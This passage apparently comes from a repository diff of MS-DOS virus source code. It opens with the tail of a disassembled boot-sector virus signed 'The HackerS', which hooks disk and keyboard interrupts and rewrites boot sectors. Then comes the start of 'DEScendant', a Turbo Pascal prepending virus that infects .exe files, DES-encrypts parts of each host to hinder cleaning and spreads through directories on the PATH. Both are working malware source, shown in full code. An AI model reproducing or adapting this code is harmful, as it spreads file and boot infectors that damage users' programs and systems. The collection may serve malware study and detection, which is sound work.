es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0A0h] + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + sub ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si-7F56h] + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub al,[bx+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si-5556h],ch + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0179e + or [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si+0AAh],ch + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0A00Ah] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add dh,dh + and bp,[bx+si] + add [bx+si],al + push ax + push bx + push cx + push dx + cmp data_0045,1 + jne loc_0021 ; Jump if not equal + cmp data_0044,0 + je loc_0022 ; Jump if equal +loc_0021: + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0022 ; Jump if carry Set + mov dh,data_0044 + mov dl,byte ptr cs:[529h] + mov cx,data_0045 + mov bx,200h + mov ax,201h + int 6Fh ; ??int non-standard interrupt +loc_0022: + pop dx + pop cx + pop bx + pop ax + retn +sub_0003 endp + + db 50h, 53h, 51h, 52h, 32h + dw 0CDE4h ; Data table (indexed access) + db 6Fh + dw 1272h ; Data table (indexed access) + db 32h,0F6h, 2Eh, 8Ah, 16h, 29h + db 05h,0B9h, 21h, 28h,0BBh, 00h + db 02h,0B8h, 01h, 02h,0CDh, 6Fh + db 5Ah, 59h, 5Bh, 58h,0C3h, 50h + db 53h, 51h, 52h, 32h,0E4h,0CDh + db 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah + db 16h, 29h, 05h,0B5h, 28h,0BBh + db 7Ch, 06h,0B8h, 09h, 05h,0CDh + db 6Fh, 73h, 05h,0F6h,0C4h, 82h + db 75h, 03h + db 0E8h, 29h, 00h + db 5Ah, 59h, 5Bh, 58h,0C3h, 28h + db 00h, 21h, 02h, 28h, 00h, 22h + db 02h, 28h, 00h, 23h, 02h, 28h + db 00h, 24h, 02h, 28h, 00h, 25h + db 02h, 28h, 00h, 26h, 02h, 28h + db 00h, 27h, 02h, 28h, 00h, 28h + db 02h, 28h, 00h, 29h, 02h + +; +; SUBROUTINE +; + +sub_0005 proc near + push ax + push bx + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0026 ; Jump if carry Set + xor dh,dh ; Zero register + mov dl,byte ptr ds:[529h] + mov cx,2821h + mov bx,200h + mov ax,309h + int 6Fh ; ??int non-standard interrupt + jnc loc_0025 ; Jump if carry=0 + test ah,82h + jnz loc_0026 ; Jump if not zero +loc_0025: + xor bx,bx ; Zero register + call sub_0006 + cmp cs:data_0050,3 + jb loc_0026 ; Jump if below + call sub_0007 +loc_0026: + pop dx + pop cx + pop bx + pop ax + retn +sub_0005 endp + + +; +; SUBROUTINE +; + +sub_0006 proc near + push ax + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0027 ; Jump if carry Set + xor dh,dh ; Zero register + mov dl,byte ptr cs:[529h] + mov cx,1 + mov ax,301h + int 6Fh ; ??int non-standard interrupt +loc_0027: + pop dx + pop cx + pop ax + retn +sub_0006 endp + + +; +; SUBROUTINE +; + +sub_0007 proc near +;* jmp short loc_0028 ;* + db 0EBh, 10h + nop + pop cx + stc ; Set carry flag + inc bx + stc ; Set carry flag + xor cx,di + inc bp + stc ; Set carry flag + push dx + stc ; Set carry flag + push ax + add [bx+si],al + push es + add [bx+si+53h],dx + push cx + push dx + push ds + push es + push si + push di + mov al,byte ptr ds:[529h] + mov byte ptr ds:[701h],al + mov byte ptr ds:[704h],1 + mov byte ptr ds:[702h],0 + mov byte ptr ds:[703h],6 +loc_0029: + mov dh,byte ptr ds:[702h] + mov dl,byte ptr ds:[701h] + xor ch,ch ; Zero register + mov cl,byte ptr ds:[703h] + lea bx,cs:[1277h] ; Load effective addr + mov ax,201h + int 6Fh ; ??int non-standard interrupt + xor bx,bx ; Zero register +loc_0030: + mov al,byte ptr ds:[1282h][bx] + test al,8 + jz loc_0031 ; Jump if zero + or byte ptr ds:[1282h][bx],9 + lea si,ds:[6F6h] ; Load effective addr + lea di,[bx+1277h] ; Load effective addr + mov cx,0Bh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + xor al,al ; Zero register + lea di,[bx+1283h] ; Load effective addr + mov cx,14h + stosb ; Store al to es:[di] + call sub_0008 + jmp short loc_0035 + db 90h +loc_0031: + add bx,20h + cmp bx,200h + jae loc_0032 ; Jump if above or = + jmp short loc_0030 +loc_0032: + cmp byte ptr ds:[703h],9 + jb loc_0033 ; Jump if below + xor byte ptr ds:[702h],1 + mov byte ptr ds:[703h],1 + jmp short loc_0034 +loc_0033: + inc byte ptr ds:[703h] +loc_0034: + inc byte ptr ds:[704h] + cmp byte ptr ds:[704h],7 + ja loc_0035 ; Jump if above + jmp short loc_0029 +loc_0035: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_0007 endp + + +; +; SUBROUTINE +; + +sub_0008 proc near + push ax + push bx + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0036 ; Jump if carry Set + mov dh,byte ptr ds:[702h] + mov dl,byte ptr ds:[701h] + xor ch,ch ; Zero register + mov cl,byte ptr ds:[703h] + lea bx,cs:[1277h] ; Load effective addr + mov ax,301h + int 6Fh ; ??int non-standard interrupt +loc_0036: + pop dx + pop cx + pop bx + pop ax + retn +sub_0008 endp + + db 0E9h, 0Bh + db 0Ah, 'The HackerS' + db 00h, 00h, 00h, 00h,0AAh,0A8h + db 00h,0AAh,0A0h, 00h, 00h, 00h + db 00h, 0Ah,0AAh,0AAh,0AAh,0AAh + db 0AAh,0A0h, 00h, 20h, 00h, 00h + db 00h, 00h, 00h, 0Ah,0AAh, 80h + db 00h, 00h, 00h, 02h + db 7 dup (0AAh) + db 0A8h, 00h, 2Ah,0AAh, 00h, 00h + db 0F6h, 22h, 28h, 00h, 00h,0EBh + db 66h, 90h, 21h, 00h, 02h, 87h + db 0E9h, 00h,0F0h, 91h, 08h, 00h + db 0C8h, 00h, 00h + db ' Welcome to the' + db ' C l u b --The HackerS--' + db ' Hackin', 27h, ' All T' + db 'he Time ' + db 00h, 00h,0FFh,0FFh, 00h, 7Ch + db 00h + db 00h, 9Ch, 50h, 1Eh, 06h, 56h + db 57h, 33h,0C0h, 8Eh,0D8h, 8Eh + db 0C0h, 2Eh,0C6h, 06h, 05h, 04h + db 08h,0A1h, 4Ch, 00h, 3Dh, 26h + db 05h, 74h, 3Fh,0FAh, 2Eh,0FFh + db 06h, 03h, 04h,0A1h, 4Ch, 00h + db 0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah + db 04h,0A1h, 4Eh, 00h,0A3h,0BEh + db 01h, 2Eh,0A3h, 0Ch, 04h,0B8h + db 26h, 05h,0A3h, 4Ch, 00h, 8Ch + db 0C8h,0A3h, 4Eh, 00h,0A1h, 24h + db 00h, 2Eh,0A3h, 06h, 04h,0A1h + db 26h, 00h, 2Eh,0A3h, 08h, 04h + db 0C7h, 06h, 24h, 00h,0D9h, 04h + db 8Ch,0C8h,0A3h, 26h, 00h,0FBh +loc_0039: + push cs + pop ds + mov si,offset data_0041+40h ; (' ') + mov di,data_0011e + mov cx,200h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop di + pop si + pop es + pop ds + pop ax + popf ; Pop flags + jmp cs:data_0057 + sti ; Enable interrupts + push ax + push cx + push ds + pushf ; Push flags + xor ax,ax ; Zero register + mov ds,ax + in al,60h ; port 60h, keybd scan or sw1 + test al,80h + jnz loc_0042 ; Jump if not zero + mov ah,ds:keybd_flags_1_ + test ah,8 + jz loc_0042 ; Jump if zero + test ah,4 + jz loc_0042 ; Jump if zero + cmp al,53h ; 'S' + jne loc_0040 ; Jump if not equal + cmp byte ptr ds:video_mode_,7 + je loc_0041 ; Jump if equal + cmp cs:data_0050,3 + jb loc_0041 ; Jump if below +;* call sub_0017 ;* + db 0E8h,0B7h, 02h + jmp short loc_0041 +loc_0040: + cmp al,3Fh ; '?' + jne loc_0042 ; Jump if not equal +loc_0041: + mov word ptr ds:warm_boot_flag_,1234h + jmp cs:data_0056 +loc_0042: + popf ; Pop flags + pop ds + pop cx + pop ax + jmp dword ptr cs:data_0052 +;* jmp short loc_0044 ;* + db 0EBh, 0Ah + add [bx+di],al + add [bx+di],al + jo loc_0043 ; Jump if overflow=1 +loc_0043: + popf ; Pop flags + adc [bp+si],ax + add ds:data_0010e[si],bx + push si + push di + push cs + pop ds + mov byte ptr ds:[528h],dh + mov byte ptr ds:[529h],dl + mov byte ptr ds:[52Ah],ch + mov byte ptr ds:[52Bh],cl + mov word ptr ds:[52Ch],es + mov word ptr ds:[52Eh],bx + mov byte ptr ds:[530h],ah + mov byte ptr data_0066,al ; ('WS EXE ') + cmp ah,2 + jb loc_0045 ; Jump if below + cmp ah,5 + ja loc_0045 ; Jump if above + cmp dl,1 + ja loc_0045 ; Jump if above + cmp ch,0 + jne loc_0045 ; Jump if not equal + cmp dh,0 + jne loc_0045 ; Jump if not equal + dec cs:data_0051 + jz loc_0046 ; Jump if zero +loc_0045: + jmp short loc_0047 +loc_0046: + push cs + pop es + mov cs:data_0051,2 + call sub_0009 +loc_0047: + mov dh,byte ptr ds:[528h] + mov dl,byte ptr ds:[529h] + mov ch,byte ptr ds:[52Ah] + mov cl,byte ptr ds:[52Bh] + mov es,word ptr ds:[52Ch] + mov bx,word ptr ds:[52Eh] + mov ah,byte ptr ds:[530h] + mov al,byte ptr data_0066 ; ('WS EXE ') + pop di + pop si + pop es + pop ds + popf ; Pop flags + jmp dword ptr cs:data_0054 + +; +; SUBROUTINE +; + +sub_0009 proc near + push ax + push bx + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0050 ; Jump if carry Set + xor dh,dh ; Zero register + mov dl,byte ptr cs:[529h] + mov cx,1 + mov bx,200h + mov ax,201h + int 6Fh ; ??int non-standard interrupt + jc loc_0050 ; Jump if carry Set + cmp data_0047,537Ch + je loc_0050 ; Jump if equal + cmp data_0046,0FAFAh + je loc_0048 ; Jump if equal + cmp data_0043,1234h + jne loc_0049 ; Jump if not equal + call sub_0010 + jc loc_0050 ; Jump if carry Set + jmp short loc_0049 +loc_0048: +;* call sub_0011 ;* + db 0E8h, 44h, 00h + jc loc_0050 ; Jump if carry Set +loc_0049: + mov bx,200h +;* call sub_0013 ;* + db 0E8h,0E1h, 00h + jc loc_0050 ; Jump if carry Set +;* call sub_0012 ;* + db 0E8h, 58h, 00h +loc_0050: + pop dx + pop cx + pop bx + pop ax + retn +sub_0009 endp + + +; +; SUBROUTINE +; + +sub_0010 proc near + mul byte ptr [bx+di] ; ax = data * al + sub [bx+si],al + add bl,ch + xor al,90h + dec cx + inc dx + dec bp + and [bx+si],ah + xor bp,ds:data_0036e + add al,[bp+si] + add [bx+si],ax + add dh,[bx+si+0] + rol byte ptr [bp+si],1 ; Rotate + std ; Set direction flag + add al,[bx+si] + or [bx+si],ax + add al,[bx+si] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],dl + add [bx+si],al + add [bx+si],al + add [bx+si],ax + cli ; Disable interrupts + xor ax,ax ; Zero register + mov ss,ax + mov sp,7C00h + push ss + pop es + mov bx,data_0005e + lds si,dword ptr ss:[bx] ; Load 32 bit ptr + push ds + push si + push ss + push bx + mov di,data_0022e + mov cx,0Bh + cld ; Clear direction + +locloop_0051: + lodsb ; String [si] to al + cmp byte ptr es:[di],0 + je loc_0052 ; Jump if equal + mov al,es:[di] +loc_0052: + stosb ; Store al to es:[di] + mov al,ah + loop locloop_0051 ; Loop if cx > 0 + + push es + pop ds + mov [bx+2],ax + mov word ptr [bx],7C2Bh + sti ; Enable interrupts + int 13h ; Disk dl=drive ? ah=func 00h + ; reset disk, al=return status + jc loc_0055 ; Jump if carry Set + mov al,ds:data_0014e + cbw ; Convrt byte to word + mul word ptr ds:data_0017e ; ax = data * ax + add ax,ds:data_0020e + add ax,ds:data_0013e + mov ds:data_0028e,ax + mov ds:data_0023e,ax + mov ax,20h + mul word ptr ds:data_0015e ; ax = data * ax + mov bx,ds:data_0012e + add ax,bx + dec ax + div bx ; ax,dx rem=dx:ax/reg + add ds:data_0023e,ax + mov bx,500h + mov ax,ds:data_0028e + call sub_0015 + mov ax,201h + call sub_0016 + jc loc_0053 ; Jump if carry Set + mov di,bx + mov cx,0Bh + mov si,data_0030e + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_0053 ; Jump if not zero + lea di,[bx+20h] ; Load effective addr + mov si,data_0031e + mov cx,0Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_0056 ; Jump if zero +loc_0053: + mov si,data_0029e +loc_0054: + call sub_0014 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + pop si + pop ds + pop word ptr [si] + pop word ptr [si+2] + int 19h ; Bootstrap loader +loc_0055: + mov si,7DC0h + jmp short loc_0054 +loc_0056: + mov ax,ds:data_0009e + xor dx,dx ; Zero register + div word ptr ds:data_0012e ; ax,dxrem=dx:ax/data + inc al + mov ds:data_0026e,al + mov ax,ds:data_0023e + mov ds:data_0027e,ax + mov bx,700h +loc_0057: + mov ax,ds:data_0023e + call sub_0015 + mov ax,ds:data_0018e + sub al,ds:data_0025e + inc ax + cmp ds:data_0026e,al + jae loc_0058 ; Jump if above or = + mov al,ds:data_0026e +loc_0058: + push ax + call sub_0016 + pop ax + jc loc_0055 ; Jump if carry Set + sub ds:data_0026e,al + jz loc_0059 ; Jump if zero + add ds:data_0023e,ax + mul word ptr ds:data_0012e ; ax = data * ax + add bx,ax + jmp short loc_0057 +loc_0059: + mov ch,ds:data_0016e + mov dl,ds:data_0032e + mov bx,ds:data_0027e +;* jmp far ptr loc_0001 ;* +sub_0010 endp + + db 0EAh, 00h, 00h, 70h, 00h + +; +; SUBROUTINE +; + +sub_0014 proc near +loc_0060: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_0061 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_0060 + +; External Entry into Subroutine + +sub_0015: + xor dx,dx ; Zero register + div word ptr ds:data_0018e ; ax,dxrem=dx:ax/data + inc dl + mov ds:data_0025e,dl + xor dx,dx ; Zero register + div word ptr ds:data_0019e ; ax,dxrem=dx:ax/data + mov ds:data_0021e,dl + mov ds:data_0024e,ax + +loc_ret_0061: + retn +sub_0014 endp + + +; +; SUBROUTINE +; + +sub_0016 proc near + mov ah,2 + mov dx,ds:data_0024e + mov cl,6 + shl dh,cl ; Shift w/zeros fill + or dh,ds:data_0025e + mov cx,dx + xchg ch,cl + mov dl,ds:data_0032e + mov dh,ds:data_0021e + int 13h ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + retn +sub_0016 endp + + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' strike any key when ready', 0Dh + db 0Ah, 0 + db 0Dh, 0Ah, 'Disk Boot failure', 0Dh + db 0Ah, 0 + db 'IBMBIO COMIBMDOS COM' + db 18 dup (0) + db 55h,0AAh, 00h, 03h, 00h, 00h + db 01h, 00h, 02h, 00h, 00h, 01h + db 00h, 01h, 00h, 00h, 01h, 00h + db 09h, 00h, 00h, 00h, 00h, 08h + db 00h, 00h, 00h, 00h, 07h, 00h + db 00h, 00h, 00h, 06h, 00h, 00h + db 00h, 00h, 05h, 00h, 00h, 00h + db 0F6h, 04h, 00h, 00h, 00h,0FDh + db 0FFh,0FFh, 00h + db 509 dup (0) + db 03h, 00h, 00h, 00h,0F6h, 02h + db 00h, 00h, 00h,0FDh,0FFh,0FFh + db 00h + db 508 dup (0) + db 0F6h, 01h, 00h, 00h, 00h,0EBh + db 29h, 90h, 22h, 34h, 12h, 00h + db 01h, 00h, 00h, 00h, 00h, 02h + db 02h, 01h, 00h, 02h, 70h, 00h + db 0D0h, 02h,0FDh, 02h, 00h, 09h + db 00h, 02h, 00h + db 8 dup (0) + db 0Fh, 00h, 00h, 00h, 00h, 01h + db 00h + db 0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h + db 8Eh,0D0h,0BCh, 00h,0F0h,0FBh + db 0B8h, 78h, 7Ch, 50h,0C3h, 73h + db 0Ah + db 0BBh, 90h, 7Ch, 53h,0C3h,0B9h + db 0B0h, 7Ch, 51h,0C3h +loc_0064: + xor ax,ax ; Zero register + mov ds,ax + mov ax,ds:main_ram_size_ + cmp word ptr ds:data_0008e,0 + jne loc_0065 ; Jump if not equal + mov ds:data_0008e,ax + sub ax,7 + mov ds:main_ram_size_,ax +loc_0065: + mov cl,6 + shl ax,cl ; Shift w/zeros fill + push cs + pop ds + mov es,ax + mov si,data_0164e + xor di,di ; Zero register + mov cx,1400h + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + mov ax,400h + push ax + retf + xor ah,ah ; Zero register + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_0066 ; Jump if carry Set + xor dx,dx ; Zero register + mov cx,2821h + mov bx,data_0178e + mov ax,209h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head +loc_0066: +;* mov ax,offset loc_0077 ;* + db 0B8h, 3Ch, 7Ch + push ax + retn + db 0BEh, 5Fh, 7Dh,0B9h, 48h, 00h + +locloop_0067: + xor bh,bh ; Zero register + mov al,[si] + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + inc si + loop locloop_0067 ; Loop if cx > 0 + +loc_0068: + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + mov ah,1 + int 16h ; Keyboard i/o ah=function 01h + ; get status, if zf=0 al=char + jnz loc_0068 ; Jump if not zero +;* mov bx,offset loc_0078 ;* + db 0BBh, 43h, 7Ch + push bx + retn + mov ax,cs + mov ds,ax + mov es,ax + mov si,data_0176e + mov di,data_0178e + mov cx,18h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] +;* mov di,offset loc_0081 ;* + db 0BFh, 00h, 7Eh + push di + retn + db 32h,0E4h,0CDh, 13h +loc_0069: + jc loc_0070 ; Jump if carry Set + xor dx,dx ; Zero register + mov cx,1 + mov bx,data_0164e + mov ax,201h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head +loc_0070: +;* mov bx,offset loc_0076 ;* + db 0BBh, 00h, 7Ch + push bx + retn + sub al,7Ch ; '|' + mov ds:data_0175e,ax + mov bx,700h +loc_0071: + mov ax,ds:data_0171e + call sub_0018 + mov ax,ds:data_0167e + sub al,ds:data_0173e + inc ax + push ax + call sub_0019 + pop ax + jc loc_0069 ; Jump if carry Set + sub ds:data_0174e,al + jbe loc_0072 ; Jump if below or = + add ds:data_0171e,ax + mul word ptr ds:data_0165e ; ax = data * ax + add bx,ax + jmp short loc_0071 +loc_0072: + mov ch,ds:data_0166e + mov dl,ds:data_0169e + mov bx,ds:data_0175e +;* jmp far ptr loc_0001 ;* + db 0EAh, 00h, 00h, 70h, 00h +loc_0073: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_0074 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_0073 + +; +; SUBROUTINE +; + +sub_0018 proc near + xor dx,dx ; Zero register + div word ptr ds:data_0167e ; ax,dxrem=dx:ax/data + inc dl + mov ds:data_0173e,dl + xor dx,dx ; Zero register + div word ptr ds:data_0168e ; ax,dxrem=dx:ax/data + mov byte ptr ds:data_0169e+1,dl + mov ds:data_0172e,ax + +loc_ret_0074: + retn +sub_0018 endp + + +; +; SUBROUTINE +; + +sub_0019 proc near + mov ah,2 + mov dx,ds:data_0172e + mov cl,6 + shl dh,cl ; Shift w/zeros fill + or dh,ds:data_0173e + mov cx,dx + xchg ch,cl + mov dx,ds:data_0169e + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + retn +sub_0019 endp + + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' strike any key when ready', 0Dh + db 0Ah, 0 + db 0Dh, 0Ah, 'Disk Boot failure', 0Dh + db 0Ah, 0 + db 'IBMBIO COMIBMDOS COM' + db 42 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.des.pas b/MSDOS/Virus.MSDOS.Unknown.des.pas new file mode 100644 index 00000000..e8eeaa11 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.des.pas @@ -0,0 +1,521 @@ +{ + + Description: Ŀ + + - DEScendant - + + A prepending virus written in borland turbo pascal 7.0, it encrypts + variable blocks of the host file using DES, also storing the key on + variable offsets, this should make it very hard for AV scanner to clean + this virus. It doesn't infect any "new exe" files. + If an infected program is called with the command line parameters + "Too Many Secrets" the virus would put a file called "terces.pot" which + stores a with DES encrypted copyright message in the current directory. + The virus infects only 2 files per run, after no more files are found + in the current directory it changes the directory through the PATH + variable. + + Credits go to the guy who wrote the DES unit :) i don't know his name. +ٰ + + + -- The DESUNIT.PAS is at the bottom -- +} + +{$M $4000,0,0 } +{$I-} +program _DEScendant_Of_Devil_; +uses crt, dos,windos,desunit; + +const + virussize=11712; + +var + dirinfo:tSearchRec; + filename:string; + buffer:array[1..virussize] of char; + numread,numwritten:word; + counter:byte; + attr:word; + copywrong:string; + fcrypt: file; + i:word; + ende:boolean; + + path:array[1..50] of string[64]; + path_item, current_dir:word; + self:boolean; + originaldir,fullname,name:array[0..80] of char; + +function findfirstfile:string; + begin + findfirst('*.exe',faArchive,dirinfo); + if doserror = 0 then + findfirstfile:=dirinfo.name + else + findfirstfile:=''; + end; + +function findnextfile:string; + begin + findnext(dirinfo); + if doserror = 0 then + findnextfile:=dirinfo.name + else + findnextfile:=''; + end; + +function infected(filename:string):boolean; + var + fyou:file; + begin + assign(fyou,filename); + reset(fyou,1); + blockread(fyou,buffer,25,numread); + close(fyou); + if numread>=25 then + begin + if (buffer[19]='i') or (buffer[25]>=#64) then + infected:=true + else + infected:=false; + end + else + infected:=true; + end; + +procedure crypt(var buffer:array of char; what:boolean); + var + key,bufferin,bufferout:array[1..8] of char; + i,key_begin,cipher_begin:word; + begin + case buffer[1] of + #0..#63: begin + key_begin:=10; + cipher_begin:=1998; + end; + #64..#127: begin + key_begin:=4; + cipher_begin:=21; + end; + #128..#191: begin + key_begin:=1982; + cipher_begin:=4; + end; + #192..#255: begin + key_begin:=7; + cipher_begin:=777; + end; + end; + for i:=1 to 8 do + key[i]:=buffer[i+key_begin]; + for i:=1 to 8 do + bufferin[i]:=buffer[i+cipher_begin]; + des(bufferin[1],bufferout[1],key[1],what); + for i:=1 to 8 do + buffer[i+cipher_begin]:=bufferout[i]; + end; + +procedure infect(filename:string); + var + fyou,fwe,ftemp:file; + bytes_read:longint; + begin + assign(fwe,fullname); + if self=false then + begin + setfattr(fwe,faarchive); + reset(fwe,1); + seek(fwe,18); + buffer[1]:='i'; + blockwrite(fwe,buffer,1); + self:=true; + end; + if infected(filename) = false then + begin + assign(fyou,filename); + setfattr(fyou,faarchive); + assign(ftemp,'uhczzeku.tmp'); + setfattr(ftemp,faarchive); + reset(fyou,1); + reset(fwe,1); + rewrite(ftemp,1); + blockread(fwe,buffer,virussize,numread); + blockwrite(ftemp,buffer,numread,numwritten); + repeat + blockread(fyou,buffer,2048,numread); + if numread=2048 then + crypt(buffer, true); + blockwrite(ftemp,buffer,numread,numwritten); + until (numread = 0) or (numwritten <> numread); + rewrite(fyou,1); + reset(ftemp,1); + repeat + blockread(ftemp,buffer,2048,numread); + blockwrite(fyou,buffer,numread,numwritten); + until (numread = 0) or (numwritten <> numread); + close(fyou); + close(ftemp); + erase(ftemp); + inc(counter); + end; + close(fwe); + end; + +procedure execute_us; + var + i:byte; + fwe,ftemp:file; + parameter:string; + begin + randomize; + filename:=''; + for i:=1 to 8 do + filename:=filename+chr(random(26)+ord('a')); + filename:=filename+'.exe'; + assign(fwe,fullname); + assign(ftemp,filename); + setfattr(ftemp,faarchive); + reset(fwe,1); + rewrite(ftemp,1); + seek(fwe,virussize); + repeat + blockread(fwe,buffer,2048,numread); + if numread=2048 then + crypt(buffer,false); + blockwrite(ftemp,buffer,numread,numwritten); + until (numread=0) or (numwritten<>numread); + close(fwe); + close(ftemp); + parameter:=''; + if paramcount>0 then + for i:=1 to paramcount do + parameter:=parameter+' '+paramstr(i); + swapvectors; + exec(filename,parameter); + swapvectors; + setfattr(ftemp,faarchive); + erase(ftemp); + end; + +procedure changedirectory; + begin + if path[current_dir+1]<>'' then + begin + inc(current_dir); + chdir(path[current_dir]); + end + else + ende:=true; + end; + +procedure initpath; + var + i,j:word; + dummy:string; + begin + dummy:=getenv('path'); + j:=1; + for i:=1 to length(dummy) do + begin + if dummy[i]=';' then + begin + inc(j); + path[j]:=''; + end + else + path[j]:=path[j]+dummy[i]; + end; + end; + +begin + if (paramcount=3) and (paramstr(1)='Too') and (paramstr(2)='Many') and + (paramstr(3)='Secrets') then + begin + copywrong:=#78+#32+#185+#52+#203+#38+#250+#148+ + #229+#141+#155+#90+#22+#74+#218+#121+ + #172+#246+#185+#190+#175+#80+#2+#79+ + #121+#214+#132+#247+#26+#196+#192+#114; + assign(fcrypt,'terces.pot'); + rewrite(fcrypt,1); + blockwrite(fcrypt,copywrong[1],32,numwritten); + 